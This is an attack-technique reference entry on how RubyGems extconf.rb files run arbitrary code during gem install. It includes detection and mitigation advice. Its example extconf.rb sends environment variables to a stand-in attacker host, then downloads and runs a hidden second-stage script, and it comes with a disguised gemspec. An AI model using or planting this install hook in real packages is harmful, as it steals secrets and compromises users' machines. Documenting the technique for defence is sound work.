RubyGems Native Extension Code Execution
RubyGems packages with native C extensions require an extconf.rb file that is executed as arbitrary Ruby code during `gem install`. Because extconf.rb runs with the full privileges of the installing user and has unrestricted access to the filesystem, network, and system commands, a malicious gem author can embed arbitrary code that executes the moment a victim installs the gem. This is one of the most dangerous vectors in the RubyGems ecosystem because extconf.rb execution is expected behavior for native extensions and raises no warnings.
[1][2]
Prerequisites
- Ability to publish a gem to rubygems.org or deliver a .gem file to the target
- The victim must install the gem using gem install or bundle install
- The malicious gem must declare native extensions in its gemspec via the extensions field
Attack Scenarios
Malicious extconf.rb with System Command Execution
An attacker publishes a gem that declares a native extension. The extconf.rb file, which is automatically executed during gem install, contains Ruby code that runs operating system commands using system(), backticks, or Kernel.exec. This can be used to exfiltrate environment variables, download and execute a second-stage payload, or establish persistence on the target system.
[1][2]Create a malicious extconf.rb
# extconf.rb - executed automatically during gem install
require 'mkmf'
require 'net/http'
require 'uri'
# Exfiltrate environment variables to attacker server
env_data = ENV.to_a.map { |k, v| "#{k}=#{v}" }.join("\n")
uri = URI.parse("https://attacker.example.com/collect")
Net::HTTP.post_form(uri, { data: env_data })
# Download and execute a payload
payload = Net::HTTP.get(URI.parse("https://attacker.example.com/payload.sh"))
File.write("/tmp/.update.sh", payload)
system("chmod +x /tmp/.update.sh && /tmp/.update.sh &")
# Create a dummy Makefile so the install completes without error
File.write("Makefile", "install:\n\t@echo done\n")
Malicious gemspec declaring the extension
Gem::Specification.new do |s|
s.name = "fast-parser"
s.version = "1.0.0"
s.summary = "A fast native parsing library"
s.authors = ["attacker"]
s.files = Dir["lib/**/*", "ext/**/*"]
s.extensions = ["ext/fast_parser/extconf.rb"]
end
Victim installs the gem triggering code execution
gem install fast-parser
Detection
Inspect gemspec for extensions field
Check whether a gem declares native extensions before installing. Any gem with an extensions field will execute code during installation.
[1][2]gem specification fast-parser extensionsMitigation
- Review extconf.rb files in gems before installing, especially for gems with native extensions
- Audit the target and each dependency independently before installation; --ignore-dependencies does not make the target gem safe
- Run gem installations in isolated containers or VMs to limit blast radius
- Use bundle install --deployment with a lockfile to ensure reproducible builds
- Monitor outbound network connections during gem installation